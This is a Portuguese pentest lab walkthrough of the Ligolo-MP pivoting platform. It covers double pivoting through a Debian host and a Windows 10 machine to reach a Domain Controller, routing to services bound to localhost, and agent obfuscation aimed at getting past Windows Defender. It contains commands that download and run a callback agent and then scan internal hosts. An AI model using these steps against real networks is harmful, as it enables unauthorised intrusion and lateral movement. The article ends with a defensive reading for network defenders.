NT-2026.09.29 DOSSIÊ

LIGOLO-MP: PIVOTING COLABORATIVO COM TÚNEIS CIFRADOS

Como o Ligolo-MP transforma pivoting em operacao de equipe: agente compilado pelo servidor, TUN automatico, redirector para o segundo salto e rota de loopback para servicos presos ao localhost.

Capa tecnica do artigo Ligolo-MP com fluxo de tres blocos: Agente no pivot, Tunel TUN cifrado e Redes internas alcancaveis

Pivoting: o problema de alcancar redes internas

Conquistar uma maquina exposta a internet raramente encerra um trabalho de pentest. Os ativos que importam – bancos de dados, controladores de dominio, aplicacoes internas e infraestrutura critica – costumam morar em segmentos isolados, sem rota a partir da rede publica. A tecnica de usar um host ja comprometido como rele para esse trafego e o que se chama network pivoting.

O pivot e, na pratica, uma ponte: o atacante entrega pacotes ao host comprometido, e esse host os repassa a redes que so ele alcanca. Ferramentas de pivoting classica exigem tunnels SOCKS manuais, configuracao de interface TUN por operador e tabelas de rota escritas a mao – trabalho que cresce a cada salto e cada colega conectado a mesma infraestrutura.

Ligolo-MP: pivoting colaborativo com arquitetura cliente-servidor

O Ligolo-MP e uma plataforma de pivoting multiusuario derivada dos conceitos do Ligolo-ng. Em vez de um proxy solitario controlado por uma unica pessoa, ela introduz um servidor central com duas interfaces separadas: uma para agentes (os hosts comprometidos) e outra para operadores (a equipe ofensiva).

A arquitetura muda o modelo de trabalho. Varios operadores conectam-se a mesma infraestrutura, veem todas as sessoes ativas e compartilham tuneis e rotas de forma coordenada. A gestao das interfaces TUN e do roteamento e automatica – nao e preciso criar ou configurar interfaces tun/tap manualmente em cada maquina de operador. Alem da abstracao de TUN, a plataforma expoe proxies SOCKS e HTTP e permite limitar por tunel o tamanho do pool de conexoes e o numero de conexoes TCP em andamento, util para afinar desempenho em operacoes grandes. Um painel de interface em modo texto reune sessoes, interfaces, rotas, redirectores e eventos em tempo real, simplificando pivots de varios saltos por muitas sub-redes.

O agente e multiplataforma – Linux, FreeBSD, macOS e Windows 7 ou superior – e a geracao de binarios com mTLS e feita dinamicamente pelo proprio servidor, com opcao de ofuscacao. As rotas podem apontar para o loopback da maquina alvo, eliminando port forwarding manual para servicos presos ao localhost.

Topologia do cenario: tres redes, quatro maquinas

A demonstracao de referencia trabalha com quatro maquinas virtuais distribuidas em tres redes VMware (vmnets) isoladas. O Kali atua como maquina do operador na rede 192.168.159.0/24. Um Debian interno, alcancavel por SSH, serve de primeiro pivot na fronteira da rede 192.168.234.0/24, onde vive um Windows 10 (WKS-01). Alem dele, a rede 192.168.188.0/24 guarda o Domain Controller – o alvo final, sem nenhuma rota a partir do Kali.

E um cenario classico de segmentacao parcial: existe um caminho encadeado entre as redes, mas nenhum caminho direto. E exatamente essa condicao que o pivoting multiplo explora.

Diagrama da topologia com Kali, Debian simba, Windows 10 WKS-01 e Domain Controller em tres vmnets
Topologia do laboratorio da demonstracao: quatro maquinas em tres redes VMware isoladas

Instalacao do Ligolo-MP no Kali Linux

No Kali, a instalacao e um pacote de sistema. O pacote ligolo-mp esta no repositorio oficial da distribuicao:

sudo apt install ligolo-mp

O binario principal ligolo-mp e o servidor de tunneling (nao o cliente). Entre as opcoes de linha de comando, destacam-se -agent-addr, que define o endereco de escuta dos agentes (padrao 0.0.0.0:11601), e -operator-addr, o endereco das conexoes de operadores (padrao 0.0.0.0:58008), alem de -max-connection e -max-inflight para os limites por tunel. Para uso individual, o proprio servidor serves de interface – sem cliente separado.

Terminal mostrando a instalacao do pacote ligolo-mp pelo gerenciador apt
Instalacao do pacote ligolo-mp no Kali Linux via apt

Primeira execucao: servidor e operador admin

Com o pacote instalado, a subida do servidor e direta:

sudo ligolo-mp

Pressionar Enter faz login como operador admin – papel com controle completo sobre sessoes, rotas e redirectors da infraestrutura. Esse e o ponto de entrada de toda a operacao: o servidor fica escutando conexoes de agentes em primeiro plano, enquanto o painel exibe o estado da infraestrutura.

Terminal exibindo a inicializacao do servidor ligolo-mp e o login como administrador
Inicio do servidor ligolo-mp com entrada como operador admin

O painel do Ligolo-MP

O painel padrao se organiza em blocos de informacao:

  • SERVER: detalhes dos listeners de operadores e agentes, confirmando portas ativas de controle e callback.
  • SESSIONS: lista as conexoes de agentes com estado, status de relay e marcas de tempo.
  • INTERFACES: interfaces de rede da maquina comprometida e seus enderecos IP.
  • ROUTES: rotas e caminhos de pivoting estabelecidos pelas sessoes.
  • REDIRECTORS: regras de encaminhamento de trafego entre origem e destino.
  • LOG: eventos recentes com marca de tempo para monitorar a atividade.

O conjunto basico de controle e enxuto:

  • Ctrl-A abre as funcoes de admin.
  • Ctrl-N abre o gerador de binario de agente.
  • Ctrl-T executa traceroute.
  • Tab alterna o foco entre blocos.
  • Ctrl-Q encerra.

Toda a configuracao de sessao – status de relay, rotas, redirectores – pode ser feita mesmo com o agente desconectado; o servidor sincroniza a configuracao quando ele volta a ficar online.

Interface de painel do Ligolo-MP exibindo servidor, sessoes, interfaces, rotas, redirectores e log
Painel principal do Ligolo-MP com os blocos de informacao da sessao

Pivoting simples: tunel unico na rede 192.168.234.0/24

O primeiro objetivo e direto: a partir do Kali, alcancaar a rede 192.168.234.0/24 usando o Debian como ponte. Nenhuma rota existe entre o Kali e essa rede – o tunel do agente e o que cria o caminho. Com o servidor ativo e o painel dominado, o percurso tem cinco passos: gerar o agente, entrega-lo ao pivot, criar a rota, ativar o relay e provar a conectividade.

Diagrama mostrando o primeiro tunel entre Kali e a rede interna 192.168.234.0/24
Topologia do primeiro estagio: acesso inicial a rede 192.168.234.0/24 via Debian

Passo 1: gerar o binario do agente

No painel, Ctrl+N abre o formulario de geracao do agente. Cada campo tem papel preciso:

  • Save to: caminho local onde o binario gerado sera salvo.
  • Servers: endereco e porta de callback – para onde o agente vai conectar. No cenario, o IP do Kali, onde o servidor esta em execucao.
  • Proxy: rotear a conexao do agente por um proxy especifico, se necessario.
  • Ignore env proxy: ignora configuracoes de proxy do sistema e conecta direto.
  • OS e Arch: sistema e arquitetura do alvo (por exemplo, Linux amd64).
  • Obfuscate: aplica ofuscacao basica ao binario para evasao.

Preencher os campos e confirmar gera o binario. A compilacao acontece no proprio servidor; o operador apenas recebe o arquivo final pronto no caminho indicado.

Janela do gerador de agentes do Ligolo-MP com campos de servidor, sistema e arquitetura
Formulario de geracao do agente aberto com Ctrl+N
Formulario preenchido com o endereco de callback e opcoes do agente Linux amd64
Configuracao do agente: caminho, servidor de callback, sistema e arquitetura

Passo 2: transferir o agente para o primeiro pivot

Para levar o binario ate o Debian, um servidor HTTP simples no Kali resolve:

python3 -m http.server 80

Pela sessao SSH no Debian, o download e a execucao sao tres comandos:

ssh simba@192.168.159.140
wget http://192.168.159.128/reverse
chmod +x reverse
./reverse

O wget busca o binario do servidor HTTP do Kali, o chmod +x concede permissao de execucao e a execucao dispara a conexao de volta ao servidor Ligolo-MP. No painel, o log registra o callback na porta 11601 e a sessao do Debian aparece em SESSIONS – o primeiro pivot esta conectado.

Terminal com o modulo http.server do Python servindo o arquivo na porta 80
Servidor HTTP temporario em Python para transferencia do agente
Sessao SSH no Debian mostrando wget do agente, chmod e execucao do binario
Download do agente por SSH e execucao no Debian
Log do servidor exibindo a conexao de callback do agente Debian na porta 11601
Callback do agente registrado no listener da porta 11601

Passo 3: adicionar a rota 192.168.234.0/24

Com a sessao ativa, a rota define qual faixa de rede trafega por ela. No bloco SESSIONS, Enter na sessao destacada abre o menu de contexto; a opcao Add Route traz o formulario:

  • CIDR: a faixa alvo em notacao CIDR – aqui, 192.168.234.0/24, a rede a atras do Debian.
  • Priority: precedencia da rota; valores menores tem prioridade maior.
  • Loopback: habilita acesso a servicos do proprio pivot (como 127.0.0.1) atraves do tunel.

A rota e registrada na sessao, mas so entra em operacao quando o relay e ativado – a configuracao pode ser feita a qualquer momento, inclusive antes do agente reconectar.

Menu da sessao do agente destacando a opcao de adicionar rota
Menu de contexto da sessao com a opcao Add Route
Formulario de criacao de rota com campo CIDR preenchido e checkbox de loopback
Formulario de rota com CIDR, prioridade e opcao de loopback

Passo 4: ativar o relay

De volta ao menu da sessao (Enter), a opcao Start relay coloca o tunel em operacao. O painel passa a exibir a rota configurada com estado ativo: o servidor cria e gerencia a interface TUN correspondente no lado do operador, sem configuracao manual. A partir desse ponto, pacotes destinados a 192.168.234.0/24 saem do Kali pelo tunel e chegam a rede interna pelo Debian.

Menu de contexto com a opcao de iniciar o relay selecionada
Acionamento da opcao Start Relay na sessao do Debian
Painel de rotas do Ligolo-MP exibindo a rota ativa pelo tunel do Debian
Rota 192.168.234.0/24 configurada e ativa no painel

Passo 5: comprovar a conectividade com ping e nmap

A prova pratica vem das ferramentas de rede tradicionais, usadas sem flag especial – do ponto de vista do Kali, a rede interna funciona como se fosse local:

ping 192.168.234.101
nmap 192.168.234.101

O ping responde e o nmap varre o Windows 10 interno normalmente. O pivoting simples esta concluido: com o Debian como ponte, o operador interage com a rede 192.168.234.0/24 inteira.

Terminal mostrando respostas do ping e varredura nmap contra 192.168.234.101
Teste de conectividade com ping e nmap contra o Windows 10 interno

Duplo pivoting: o segundo salto para 192.168.188.0/24

Com o Windows 10 alcancavel pelo primeiro tunel, o proximo objetivo e instala um agente nele e abrir um segundo salto para a rede 192.168.188.0/24, onde vive o Domain Controller. Existe um obstaculo topologico: o Windows 10 nao tem rota direta para o IP do Kali. O segundo agente precisa conectar-se atraves do tunel ja existente.

E aqui que entra o redirector. Um redirector no Ligolo-MP e uma regra de encaminhamento TCP: faz uma porta na maquina do agente escutar conexoes e repassa todo o trafego recebido a um destino especificado pelo tunel. No cenario, o redirector escuta na interface vmnet8 do Debian (192.168.234.140) na porta 4444 e encaminha ao listener de agentes do Kali na porta 11601. Assim, o Windows 10 – que alcanca o Debian normalmente – conecta-se ao servidor Ligolo-MP sem rota direta ao Kali.

A cadeia resultante e linear: o agente Windows e compilado com callback para 192.168.234.140:4444; ao executar, conecta ao Debian; o redirector pega a conexao e a encaminha pelo tunel ate o Kali:11601; o servidor recebe uma nova conexao de agente e cria a nova sessao – como se o Windows tivesse conectado direto.

Diagrama do segundo estagio com Windows 10 como segundo pivot na rede do Domain Controller
Topologia do duplo pivoting com o segundo salto para 192.168.188.0/24

Passo 1: configurar o redirector de porta

No menu da sessao do Debian (Enter), a opcao Add redirector abre o formulario de tres campos:

  • From: endereco e porta de escuta na maquina do pivot – aqui, a porta 4444, onde as conexoes chegam.
  • To: destino do trafego – o endereco e porta do servidor Ligolo-MP.
  • Protocol: transporte da redirecao, TCP ou UDP.

Todo o trafego recebido na porta 4444 do Debian e encaminhado ao servidor pelo tunel TLS ja estabelecido. Confirmar a regra a cria e ela passa a constar no bloco REDIRECTORS – o encadeamento esta pronto para o segundo agente. Nao ha limite de redirectores por sessao, e o recurso tambem serve para outros fins, como expor uma porta interna para fora.

Menu da sessao destacando a opcao de adicionar redirector de porta
Menu de contexto da sessao com a opcao Add Redirector
Formulario de redirector com porta de origem 4444 e destino no servidor Ligolo-MP
Formulario do redirector com origem, destino e protocolo
Painel de redirectors do Ligolo-MP listando a regra de encaminhamento ativa
Redirector criado e ativo na sessao do Debian

Passo 2: gerar o agente para o Windows 10

A geracao do segundo binario repete o procedimento do Ctrl+N, com uma diferenca essencial: em Servers, o endereco de callback agora e o do redirector no Debian, nao o do Kali. O servidor compila o agente para Windows com mTLS e devolve o binario pronto.

A cadeia fecha o circuito: o agente em execucao no WKS-01 conecta a 192.168.234.140:4444, o redirector do Debian captura a conexao e a encaminha pelo tunel ate o listener do Kali na 11601, e o servidor registra uma nova sessao de agente – como se o Windows 10 tivesse alcancado o Kali diretamente.

Formulario de geracao do agente preenchido com o endereco do redirector no Debian
Geracao do agente Windows com callback apontando para o redirector

Passo 3: entregar o agente por sessao RDP

Para entrega com interface grafica, o rdesktop conecta ao Windows 10 pelo primeiro tunel, levando junto uma pasta do Kali como unidade compartilhada:

rdesktop 192.168.234.101 -r disk:share=/home/kali/pivot

A flag -r disk:share=/home/kali/pivot mapeia a pasta local pivot do Kali como unidade de disco dentro da sessao RDP – o canal de transferencia do agente, tudo trafegando pelo pivot ja estabelecido para a rede 192.168.234.0/24.

Com o login feito com credenciais da maquina, o share montado aparece dentro da sessao, o binario do agente e copiado para a area de trabalho e executado pelo prompt:

cd Desktop
ls
./agent.exe

No painel do Ligolo-MP, uma segunda sessao aparece: o host WKS-01 passa a listar junto ao pivot Debian, com estado conectado.

Terminal executando rdesktop com opcao de mapeamento da pasta local do Kali
Conexao rdesktop ao Windows 10 com compartilhamento de disco local
Tela de autenticacao do Windows 10 na sessao RDP iniciada pelo Kali
Tela de login do Windows 10 acessada pelo tunel
Sessao RDP exibindo a unidade compartilhada com a pasta do Kali montada
Compartilhamento de arquivos montado dentro da sessao RDP
Sessao RDP mostrando a copia do arquivo do agente para o desktop do Windows
Copia do binario do agente do compartilhamento para a area de trabalho
Prompt do Windows executando cd Desktop, ls e o agente copiado
Execucao do agente pelo prompt do Windows
Painel de sessoes do Ligolo-MP listando o host WKS-01 ao lado do Debian
Segunda sessao registrada no painel: WKS-01 junto ao pivot Debian

Passo 4: adicionar a rota 192.168.188.0/24

O fluxo repete o que foi feito na sessao do Debian: selecionar a sessao WKS-01, abrir o menu de contexto com Enter, escolher Add route e preencher o CIDR da rede interna do Domain Controller – 192.168.188.0/24. A rota fica registrada na sessao do Windows e aguarda a ativacao do relay para entrar em operacao.

Menu de contexto da sessao do Windows destacando a adicao de rota
Menu da sessao WKS-01 com a opcao Add Route
Formulario de rota com CIDR da rede do Domain Controller preenchido
Formulario de rota preenchido com 192.168.188.0/24 na sessao WKS-01

Passo 5: ativar o relay do segundo pivot

Na sessao WKS-01, Enter e Start relay colocam o segundo tunel em operacao. A configuracao resultante da ao Kali acesso transparente as tres redes do cenario: a rede local 192.168.159.0/24, a rede 192.168.234.0/24 via tunel do Debian e a rede 192.168.188.0/24 via tunel do Windows 10. O Domain Controller em 192.168.188.100 fica diretamente alcancavel a partir do Kali, com ferramentas de rede padrao.

Menu de contexto da sessao WKS-01 com a opcao de iniciar o relay
Acionamento de Start Relay na sessao do Windows 10
Painel do Ligolo-MP com duas sessoes ativas e rotas para as duas redes internas
Segundo relay ativo e rota para 192.168.188.0/24 estabelecida

Passo 6: comprovar a conectividade com o Domain Controller

Novamente a prova vem das ferramentas tradicionais, agora contra o alvo final:

ping 192.168.188.100
nmap 192.168.188.100

As respostas confirmam o encadeamento completo: dois saltos de tunel, dois agentes e uma rota por sessao – e o Domain Controller, duas redes alem do Kali, responde como se estivesse na mesa do operador.

Terminal mostrando ping e varredura nmap contra 192.168.188.100
Teste de conectividade com ping e nmap contra o Domain Controller

Roteamento de loopback: servicos exclusivos do localhost

Uma restricao comum de hardening e prender servicos ao loopback: o servico escuta apenas em 127.0.0.1, e nenhum acesso externo e possivel. O Ligolo-MP resolve esse caso com um tipo especial de rota. Ao marcar uma rota como loopback, o trafego destinado ao endereco do pivot e entregue na interface 127.0.0.1 da maquina comprometida – do ponto de vista do servico, a conexao parece local, satisfazendo a restricao de bind. E o fim do port forwarding manual para alcancaar portas internas do proprio pivot.

Passo 1: preparar o servico restrito ao localhost

Para simular o cenario, a demonstracao instala o Apache2 no proprio pivot Debian e confere o estado do servico:

sudo apt install apache2
sudo systemctl status apache2

O Apache e a vitima conveniente: simples de restringir e com uma pagina padrao facil de reconhecer.

Terminal mostrando a instalacao do apache2 e o status ativo do servico
Instalacao e status do Apache2 no Debian pivot

Passo 2: restringir o Apache ao localhost

A restricao e feita na configuracao do proprio servidor web. Em /etc/apache2/ports.conf, a diretiva Listen passa a apontar para 127.0.0.1:80 – o Apache so aceita conexoes originadas da propria maquina:

sudo nano /etc/apache2/ports.conf

Em /etc/apache2/sites-available/000-default.conf, a diretiva <VirtualHost> acompanha a mudanca para 127.0.0.1:80, tornando o site padrao acessivel apenas localmente:

sudo nano /etc/apache2/sites-available/000-default.conf

Com as duas edicoes, o servico precisa ser recarregado:

sudo systemctl restart apache2

Do lado de fora, o Apache deixou de existir: a pagina nao responde em nenhum endereco externo do Debian.

Editor nano com a diretiva Listen apontando apenas para 127.0.0.1:80
Edicao de ports.conf restringindo o Apache a 127.0.0.1:80
Editor nano com a diretiva VirtualHost do site padrao apontando para 127.0.0.1:80
Edicao do VirtualHost padrao para 127.0.0.1:80

Passo 3: confirmar que o servico esta inacessivel externamente

Antes de atacar o problema, a demonstracao confirma que ele existe: abrir http://192.168.234.140 no navegador do Kali resulta em erro de conexao. E o comportamento esperado do hardening – o servico esta ativo, mas nenhum cliente externo consegue fala com ele. O pivoting simples precisa estar ativo e com conectividade comprovada antes do proximo passo.

Navegador exibindo a falha de conexao a pagina do Apache pelo endereco externo
Tentativa de acesso ao Apache externamente bloqueada antes do tunneling

Passo 1: adicionar a rota de loopback /32

Com o pivoting simples estabelecido, o menu da sessao do Debian (Enter) e a opcao Add Route recebem a rota especial. No campo CIDR entra o endereco do proprio pivot com mascara de host unico: 192.168.234.140/32. O /32 e essencial – especifica uma rota de host unico, nao uma sub-rede, e no modelo de prioridade do Ligolo-MP (menor faixa primeiro, depois menor metrica) ela vence rotas mais amplas para o mesmo destino.

A diferenca esta no checkbox Loopback, marcado com X no formulario. Com a rota loopback ativa, o Ligolo-MP nao encaminha os pacotes pela interface de rede do agente: ele reescreve o destino e os entrega na interface 127.0.0.1 da maquina. Para o Apache no Debian, as conexoes parecem originadas localmente – a restricao de bind e satisfeita, e o painel exibe a rota de loopback configurada e ativa.

Menu da sessao do Debian destacando a opcao de adicionar rota
Menu de contexto da sessao com Add Route para o cenario de loopback
Formulario de rota preenchido com 192.168.234.140/32 e a opcao loopback ativada
Formulario de rota com CIDR /32 e checkbox de loopback marcado
Painel de rotas exibindo a rota de loopback do pivot Debian ativa
Rota de loopback configurada e ativa no painel do Ligolo-MP

Passo 2: acessar o servico restrito pelo tunel

A prova final e abrir a mesma URL que antes falhava: http://192.168.234.140 no navegador do Kali. Agora a pagina padrao do Apache2 Debian carrega por completo – o trafego sai do Kali, entra no tunel e termina no loopback do pivot, onde o servico escuta.

O operador alcancou um servico que, por definicao, nao era alcancavel por nenhum cliente externo. Para o defensor, a leitura e desconfortavel: bind ao localhost protege contra acesso direto pela rede, mas nao contra um atacante ja presente na maquina.

Navegador no Kali exibindo a pagina padrao do Apache2 Debian servida no pivot
Pagina padrao do Apache acessada do Kali atraves da rota de loopback

Ofuscacao do agente na geracao do binario

A ultima tecnica da demonstracao e a ofuscacao do agente em tempo de compilacao, ativada pela opcao Obfuscate no gerador. A transformacao acontece no codigo-fonte antes da compilacao: nomes de funcoes, variaveis e literais de string sao modificados, produzindo um binario com assinatura estatica bastante diferente – sem mudanca de comportamento em execucao.

O alvo e a deteccao por assinatura. Mecanismos como o Windows Defender podem marcar e remover binarios de agente padrao; um binario ofuscado escapa de assinaturas conhecidas e melhora a chance de implantacao em ambientes protegidos. O recurso integra-se ao processo de geracao: basta marcar a opcao antes de confirmar, e o servidor devolve o binario ja transformado.

Formulario de geracao do agente com a opcao de ofuscacao habilitada
Opcao Obfuscate no gerador de agentes para dificultar assinaturas estaticas

Sintese: o que o percurso demonstrou

O percurso completo – pivoting simples, duplo pivoting com redirector, roteamento de loopback e ofuscacao de agente – mostra uma plataforma que transforma um trabalho historicamente artesanal em operacao de poucos comandos e cliques: o roteamento e o TUN sao gerenciados pelo servidor, rotas de loopback eliminam port forwarding, e a ofuscacao acompanha a geracao do binario.

A conclusao tecnica da demonstracao merece a leitura defensiva. Os habilitadores do encadeamento nao foram falhas de software – foram falhas de arquitetura: segmentacao porosa, ausencia de filtragem de egress e movimento lateral sem controle. Um perimetro forte nao compensa controles internos fracos: o primeiro host comprometido virou ponte para redes inteiras, e o bind ao localhost nao resistiu a um atacante com pe dentro da maquina. A resposta nao esta em bloquear a ferramenta, e sim em segmentacao real, filtragem de trafego entre VLANs, monitoramento de conexoes de saida e privilegio minimo em cada host.